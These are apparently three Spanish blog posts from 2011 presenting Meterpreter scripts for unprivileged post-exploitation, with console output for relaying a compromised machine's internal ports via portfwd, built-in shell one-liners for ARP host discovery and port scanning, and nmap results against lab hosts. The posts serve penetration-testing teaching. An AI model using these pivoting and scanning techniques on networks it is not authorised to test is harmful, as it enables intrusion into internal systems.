jueves, 10 de marzo de 2011

MultiRelay: PortRelaying Automático

MultiRelay fue el script principal que presenté la pasada semana en la RootedCON.
El script se apoya en otros dos scripts que creé para realizar el descubrimiento y escaneo de red que ya comentamos ayer, y una vez que conoce los servicios de la red realiza el mapeo de los servicios.

En primer lugar crea interfaces virtuales en la máquina en la que se ejecuta Metasploit (el atacante) que se corresponden con las IPs descubiertas en la red interna de la máquina comprometida.

Una vez creados, el script realiza relays mediante el comando portfwd de Meterpreter entre cada una de las IPs virtuales y las IPs reales, con lo que se crea en local una réplica de la red interna de la máquina comprometida, haciendo accesible la red interna:

meterpreter > run multirelay
[*] MULTIRELAY START
[*] STEP 0: CLEAN INTERFACES
[*] STEP 1: PORT DISCOVERY
[*] STEP 2: SET VIRTUAL INTERFACES
[*] ifconfig lo:MR0001 inet 172.16.146.2 netmask 255.255.255.255
[*] ifconfig lo:MR0002 inet 172.16.146.147 netmask 255.255.255.255
[*] ifconfig lo:MR0003 inet 172.16.146.148 netmask 255.255.255.255
[*] STEP 3: TCP PORT RELAY
[*] portfwd add -L 172.16.146.2 -l 631 -r 172.16.146.2 -p 631
[*] Local TCP relay created: 172.16.146.2:631 <-> 172.16.146.2:631
[*] portfwd add -L 172.16.146.147 -l 135 -r 172.16.146.147 -p 135
[*] Local TCP relay created: 172.16.146.147:135 <-> 172.16.146.147:135
[*] portfwd add -L 172.16.146.147 -l 139 -r 172.16.146.147 -p 139
[*] Local TCP relay created: 172.16.146.147:139 <-> 172.16.146.147:139
[*] portfwd add -L 172.16.146.147 -l 445 -r 172.16.146.147 -p 445
[*] Local TCP relay created: 172.16.146.147:445 <-> 172.16.146.147:445
[*] portfwd add -L 172.16.146.147 -l 1025 -r 172.16.146.147 -p 1025
[*] Local TCP relay created: 172.16.146.147:1025 <-> 172.16.146.147:1025
[*] portfwd add -L 172.16.146.147 -l 1026 -r 172.16.146.147 -p 1026
[*] Local TCP relay created: 172.16.146.147:1026 <-> 172.16.146.147:1026
[*] portfwd add -L 172.16.146.148 -l 22 -r 172.16.146.148 -p 22
[*] Local TCP relay created: 172.16.146.148:22 <-> 172.16.146.148:22
[*] portfwd add -L 172.16.146.148 -l 111 -r 172.16.146.148 -p 111
[*] Local TCP relay created: 172.16.146.148:111 <-> 172.16.146.148:111
[*] MULTIRELAY DONE

Una vez hecho esto podemos ver como tenemos creadas las interfaces virtuales y mapeados sus respectivos puertos:

# netstat -anp | grep "LISTEN "
tcp 0 0 172.16.146.147:1025 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:1026 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:135 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:139 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.148:111 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.148:22 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.2:631 0.0.0.0:* LISTEN 6746/ruby
tcp 0 0 172.16.146.147:445 0.0.0.0:* LISTEN 6746/ruby

Ya solo tenemos que utilizar nuestra herramienta favorita contra el servicio que queramos, como si estuviéramos en su misma LAN:

# nmap -sV -sC 172.16.146.147

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-03-09 00:21 CET
Nmap scan report for 172.16.146.147
Host is up (0.0000060s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc?
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1025/tcp open NFS-or-IIS?
1026/tcp open LSA-or-nterm?
Service Info: OS: Windows

Host script results:
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows Server 2003 3790 (Windows Server 2003 5.2)
| Name: GRUPO_TRABAJO\ROOTEDLABS01
|_ System time: 2011-03-09 00:23:06 UTC+1

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.11 seconds

Una vez acabado el trabajo ya solo tenemos que borrar los interfaces virtuales:

meterpreter > run multirelay -d
Deleting relays...
[*] Successfully stopped TCP relay on 172.16.146.147:139
[*] Successfully stopped TCP relay on 172.16.146.147:1026
[*] Successfully stopped TCP relay on 172.16.146.2:631
[*] Successfully stopped TCP relay on 172.16.146.147:445
[*] Successfully stopped TCP relay on 172.16.146.147:135
[*] Successfully stopped TCP relay on 172.16.146.148:111
[*] Successfully stopped TCP relay on 172.16.146.147:1025
[*] Successfully stopped TCP relay on 172.16.146.148:22

Bajo ciertas condiciones el script puede provocar fallos de conectividad en la máquina que contiene el Metasploit, si es que las direcciones de red de la LAN atacada son similares a las direcciones de red internas de las oficinas en las que se encuentre el sistema que ejecuta Metasploit. Poco a poco se irán corrigiendo todo este tipo de fallos.

Espero que disfrutéis de la herramienta y que os resulte muy útil.

miércoles, 9 de marzo de 2011

Command Line Kung Fu: LanDiscovery & PortScan

Como comentaba en el anterior post, la pasada semana presenté en RootedCON una serie de Scripts para Meterpreter que usados en conjunto podían crearnos una pequeña réplica de los servicios internos de la organización auditada.

Para ello, evidentemente, necesitamos primero haces un descubrimiento de máquinas y un escaneo de puertos, y además debemos ser capaces de hacerlo con un usuario con bajos privilegios y sin utilizar ningún software adicional al que ya exista en la máquina (built-in).

La respuesta a estos requisitos es conocida como "Command Line Kung Fu", que como su propio nombre indica consiste en el arte de realizar todo tipo de acciones en los sistemas con tan solo el empleo de la linea de comandos y empleando solo aquellos comandos built-in (instalados por defecto) en los diferentes sistemas.

Uno de los recursos que más me gustan de este tipo de técnicas es el blog http://blog.commandlinekungfu.com , en el que se reúnen una serie de expertos en cada uno de las diferentes shells y "se pican" a ver quien saca la mejor solución para hacer cada una de las acciones que les proponen. Uno de ellos, Ed Skoudis, conocido por ser el autor de los cursos de Hacking Ético, Incident Handling y Penetration Testing del SANS Institute, y en mi humilde opinión uno de los mejores instructores que tiene el SANS.

Empleando estas técnicas, desarrollé los scripts landiscovery.rb y portscan.rb, que emplean técnicas de "Command Line Kung Fu" para funcionar, y que únicamente hay que copiarlos en la carpeta scripts/meterpreter dentro del directorio de Metasploit para poderlo utilizar.

LanDiscovery

El script landiscovery.rb intenta realizar un equivalente a un ARP Scan pero utilizando un poco de este Kung Fu del que hablábamos.

En realidad, cualquier inicio de conexión, sea satisfactoria o no, empieza con nuestro sistema haciendo un ARP Request para obtener la MAC del Next Hop, o en este caso, estando en una LAN, la MAC del Host destino. Esto lo podemos utilizar para hacer un pseudo ARP-Scan forzando a realizar algún tipo de conexión (por ejemplo, un ping) del que no esperaremos la respuesta, y posteriormente miraremos la tabla ARP de la máquina, que es accesible por cualquier usuario. Si al mirar la tabla ARP vemos que la IP contra la que hemos lanzado el ping aparece asociada a una MAC, eso quiere decir que la máquina se encuentra activa, independientemente de si respondió al ping o no.

Por el momento, el script identifica si la maquina se trata de un Windows o un Linux, para aplicar el Kung Fu adecuado, o en el caso de que no disponga del comando apropiado para el sistema, lo notifica:

Windows:
FOR /L %i in (1,1,255) do (
@START /B ping #NET#.%i -w 1 -n 1 > NUL
echo %i
arp -a | find /V "00-00-00-00-00-00" | find " #NET#."
)

Linux:
for i in `seq 1 255`
do
ping -c 1 #NET#.$i >/dev/null &
/usr/sbin/arp -na | grep '\(#NET#' |egrep "[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+"
done

El script ha sido probado en versiones de Meterpreter para Windows y Java, pero a priori debería ser portable a cualquier versión de Meterpreter:

meterpreter > run landiscovery
[*] LINUX KUNG FU...
172.16.146.2
172.16.146.1
172.16.146.147
172.16.146.254

Como medida de rendimiento, el script ha sido probado tanto en Windows como en Linux en una red virtual con 24 bits de máscara, obteniendo un tiempo de ejecución de aproximadamente 12 segundos.

PortScan

El script portscan.rb debería intentar realizar un SYN-Scan a la IP que le pasemos como argumento. Sin embargo, hacer un SYN-Scan requiere altos privilegios en el sistema, así que vamos a tener que conformarnos con hacer un simple Connect-Scan empleando el Kung Fu adecuado. Por temas de eficiencia, por el momento el script escanea los 100 puertos más conocidos según NMap, aunque en el futuro existirán opciones que permitirá elegir al usuario la cantidad de puertos a escanear.

Para Windows se empleó el comando netsh.exe, que dispone de una opción "connect" mediante la cual se puede verificar si un puerto se encuentra abierto o no:

FOR %i in (#PORTS#) do @netsh diag connect iphost #IP# %i | find "\[%i\]"

En Linux no se encontró ninguna manera de hacer nada similar, así que se optó por utilizar el comando ftp para realizar las conexiones en segundo plano y posteriormente utilizar netstatpara ver que conexiones se encuentran en estado activo, que serán aquellas cuyos puertos están abiertos:

for i in #PORTS#
do
ftp #IP# $i 1>/dev/null 2>/dev/null &
done
netstat -n | grep " #IP#:" | cut -d':' -f 3 | cut -d' ' -f 1 | sort | uniq
killall ftp 1>/dev/null 2>/dev/null

Este método da algunos problemas al escanear 127.0.0.1, donde nos encontraremos con falsos positivos, pero por contra es mucho más rápido que la técnica empleada en Windows. Probablemente en las próximas versiones se cambie el Kung Fu de Windows para que sea similar al empleado en Linux.

El comando, cuando se usa desde Meterpreter, se llama con la opción -t IP:

meterpreter > run portscan -h
Meterpreter Script for performing a PortScan with Fu Techniques.
OPTIONS:
-h Help menu.
-t The target IP address

meterpreter > run portscan -t 172.16.146.147
[*] LINUX KUNG FU...
1025
1026
135
139
445

El escaneo empleando esta técnicas es casi inmediato, ya que este mismo que vemos tardó aproximadamente 3 segundos en realizarse.

En el próximo post veremos el script Multirelay, que se apoya en estos dos para realizar el mapeo completo de la red.
Atentos al blog!

lunes, 7 de marzo de 2011

Unprivileged Network Post-Exploitation

La pasada semana tuve la suerte de asistir y poder dar una charla en la RootedCON titulada "Unprivileged Network Post-Exploitation" en la que dí un repaso rápido sobre las posibilidades que tenemos de post-explotación cuando hemos conseguido la ejecución de código pero no disponemos de los suficientes privilegios como para poder realizar cracking de contraseñas, sniffing o la gran mayoría de técnicas conocidas.

De entre las técnicas que sí que podemos emplear, está el relaying o redirección de puertos, mediante la cual podemos hacer accesibles servicios de la red interna de la máquina explotable que no son accesibles a priori.

Sin embargo, aunque existen muchas herramientas que pueden ser utilizadas para realizar pruebas de concepto al respecto, la mayoría de ellas presentan grandes problemas a la hora de ser utilizados para realizar un pentest profesional.

Como solución, presenté la herramienta MultiRelay, que son una serie de Scripts para Meterpreter (Metasploit) que puede ser utilizado para el descubrimiento de red y relay automático de todos los puertos de la máquina comprometida, sin necesidad de privilegios ni de subir herramientas externas.

Podeis descargar la presentación de aquí o verla en slideshare:


La herramienta la podeis descargar de tools.pentester.es, aunque en los próximos días pondré otro post con todas las instrucciones para utilizarla y un pequeño video con la demostración que hice durante las conferencias.

Espero que disfrutéis de la herramienta y que os resulte tan útil como a mi :)